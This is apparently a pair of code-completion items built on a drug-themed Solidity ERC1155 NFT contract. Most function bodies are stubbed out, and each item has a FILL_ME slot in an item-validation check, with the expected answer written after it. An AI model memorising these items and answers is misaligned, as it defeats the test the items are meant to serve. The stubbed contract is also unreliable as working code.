safeTransferFrom(
_msgSender(),
_to[i],
_tokenType[i],
_amount[i],
""
);
}
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| validPillTypes[_tokenType[i]],"invalid pill type" | 501,683 | validPillTypes[_tokenType[i]] |
"invalid pill type" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract TheFuckUpPill is ERC1155Supply, Ownable {
using Strings for uint256;
address public theFuckUpPillsV2;
string public baseURI;
uint256 public jointMaxSupply = 2999;
uint256 public extacyMaxSupply = 1591;
uint256 public lsdMaxSupply = 499;
uint256 public poisonMaxSupply = 101;
uint256 public megaDoseMaxSupply = 10;
bool public revealed;
string public hiddenMetadataUri;
string public uriSuffix = ".json";
mapping(uint256 => bool) public validPillTypes;
event SetBaseURI(string indexed _baseURI);
constructor(string memory _baseURI) ERC1155(_baseURI) {
}
function mintBatch(
address _userAddress,
uint256[] memory ids,
uint256[] memory amounts
) external onlyOwner {
}
function setTheFuckUpV2ContractAddress(address fuckupv2ContractAddress)
external
onlyOwner
{
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function airdropPills(
address[] memory _to,
uint256[] memory _tokenType,
uint256[] memory _amount
) external {
}
function burnPillForAddress(
uint256 tokenId,
uint256 _amount,
address burnTokenAddress
) external {
require(<FILL_ME>)
require(theFuckUpPillsV2 != address(0), "the fuckupv2 address not set");
require(_msgSender() == theFuckUpPillsV2, "Invalid burner address");
_burn(burnTokenAddress, tokenId, _amount);
}
function updateBaseUri(string memory _baseURI) external onlyOwner {
}
function setRevealed(bool _state) public onlyOwner {
}
function uri(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
}
| validPillTypes[tokenId],"invalid pill type" | 501,683 | validPillTypes[tokenId] |